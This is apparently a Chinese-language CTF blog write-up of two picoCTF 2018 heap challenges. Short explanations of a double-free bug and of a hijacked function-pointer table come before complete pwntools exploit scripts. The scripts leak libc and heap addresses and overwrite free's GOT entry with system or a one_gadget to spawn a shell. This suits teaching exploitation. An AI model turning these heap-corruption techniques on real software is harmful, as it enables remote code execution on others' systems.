堆利用——布局内存任意地址写

写在前面

是之前做pico2018时候遇到的两个有些类似的题目,都是通过漏洞能够控制内存上一部分的值并且能够知道这部分内存的地址。再通过题目给的函数想办法布局成能够write everywhere的样子。记录一下备忘。第一题难点在发现写bss段的时候可以同时改bss段的内容,第二题难在代码有些复杂,最后的布局需要好好思考。

cake

题目是一个蛋糕商店,商店的顾客数是随机增加1,shop变量放在bss段上,整个结构是这样:

1
2
3
4
5
6
7
8
9
struct shop {
unsigned int profit;
unsinged int customer_num;
cake cakes[16];
};
struct cake {
long price;
char* name;
}

很容易看到可以double free,那么想办法写到bss上很容易,可以想办法让customer_num变成0x21的时候给malloc出来或者是profit为0x21的时候malloc出来. 注意第一个被free的蛋糕price会置0,所以profit置0x21是可行的。两种方法都可以试一下,但是最后发现第二种在最后任意地址写的时候方便很多。这题容易让人想改malloc_hook,但是仔细观察程序之后发现这个难度太大,因为malloc的大小不是可控的。难点在发现写内容的时候可以写到bss段上构造一个NULL然后把bss上布局的free_got里写上system_addr.确实很有趣

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
import sys
context.log_level = 'debug'

p = remote(sys.argv[1],sys.argv[2])
libc = ELF('./libc.so.6')
elf = ELF('./cake')
shop_addr = 0x6030E0

def make(name, price):
p.sendlineafter("> ", "M")
p.sendlineafter("Name> ", name)
p.sendlineafter("Price> ", str(price))

def wait_c():
p.sendlineafter("> ", "W")

def serve(index):
p.sendlineafter("> ", "S")
p.sendlineafter("> ", str(index))

def inspect(index):
p.sendlineafter("> ", "I")
p.sendlineafter("> ", str(index))

success = False
while True:
make("name1", 32)
make("name2", 1)

serve(0)
serve(1)
serve(0)

make("name11", shop_addr-8)
make("name22", 0)
make("name11", 0)

make(p64(elf.got['free']), shop_addr - 7)

inspect(0)
p.recvuntil('sold for $')
free_addr = int(p.recvuntil('\n'))
sys_addr = free_addr + libc.symbols['system'] - libc.symbols['free']
one_gadget = free_addr + 0xf1147 - libc.symbols['free']

pause()
serve(2)
serve(3)
serve(2)

make("name11", shop_addr - 8)
make("name22", u64('/bin/sh\x00'))
make("name11", 0)
make(p64(0), shop_addr-8)
make(p64(elf.got['free']), one_gadget)
serve(7)
p.interactive()

calcfree

逆波兰式计算器,搞了很久才搞懂这个程序在干嘛,但是真的想好怎么利用我觉得是挺难的。首先程序本身提醒你必须想办法malloc出来一个东西才能避免double free,但是再一次的时候就得想办法realloc才能避免进一步的double free退出程序,这时候就会发现input的内容仍然是之前定义的函数的ops数组,此时就可以控制run_op的流程了,能利用的明显是printf(“%s”, f->name),可以泄露堆地址和libc,泄露堆地址的作用是之后布局内存让memcpy可以写free_got,这个真心想了很久,还需要多训练这种能控制堆内存的内容且知道地址时的布局内存的能力。

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#coding=utf-8
from pwn import *
context.log_level = 'debug'
libc = ELF('./libc.so.7')
elf = ELF('./calc')

# 整个题最坑的是在调试的时候才发现function[]里的指针指的内容只有0x10大小,才能肯定好对定义好的f的利用
p = remote('ubuntu', 10001)
p.sendlineafter(">> ", ': first 7 + + + + + + +') # 这里make的原因是为了之后避免double free
p.sendlineafter('>> ', ': f 7 + + + + + + +'.rjust(0x70, ' ')) # 这里的坑是想要把f的ops定义在这里,但是同时会修改输入,所以会有参数过少的问题
function_base = 0x601C60
pause()
# 从这里开始能够控制run f,开始构造leak info
payload = ': first 8 + + + + + + + + f'.ljust(0x20, ' ') # 开始利用,run f被控制,用来泄露heap和libc,泄露heap是因为需要写堆才能实现write everywhere anything
payload += p64(7) + p64(elf.got['__libc_start_main']) # 第一个是 op->t, 第二个是op->func_t
payload += p64(6) + p64(function_base+0x10) # 打印得是 elf.got['__libc_start_main']的内容
payload += p64(6) + p64(function_base+0x08) # 打印 funcion_base[0]的内容指向字符串,即 fun_a 的 name 地址,应为第三个堆块,与heap——base的距离是0xb0
payload += p64(7) + p64(elf.got['free'])
payload += p64(5)

p.sendlineafter(">> ", payload)
p.recvuntil("Invalid operation")
p.recvuntil("Running ")
libc_start_addr = u64(p.recvuntil("\n")[:-1].ljust(8, '\x00'))
p.recvuntil("Running ")
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, '\x00'))
heap_base = heap_addr - 0x170
sys_addr = libc.symbols['system'] - libc.symbols['__libc_start_main'] + libc_start_addr

print hex(heap_base)
print hex(sys_addr)

# 构造写到elf.got['free']里,可以从elf.got['free']的上面开始覆盖
# 发现只要system("/bin/sh f")一样也可以拿shell
payload = '/bin/sh f'.ljust(0x10, '\x00') # 这里是 heap_base + 0x10
payload += p64(sys_addr)+p64(0)
payload += p64(function_base+0x10) + p64(elf.got['free']-0x10)
payload += p64(function_base+0x10) + p64(heap_base+0x10)
payload += p64(7) + p64(heap_base+0x30)
payload += p64(7) + p64(heap_base+0x40)
p.sendlineafter(">> ", payload)
p.interactive()
文章目录
  1. 1. 写在前面
    1. 1.1. cake
      1. 1.1.1. writeup
    2. 1.2. calcfree
      1. 1.2.1. writeup
|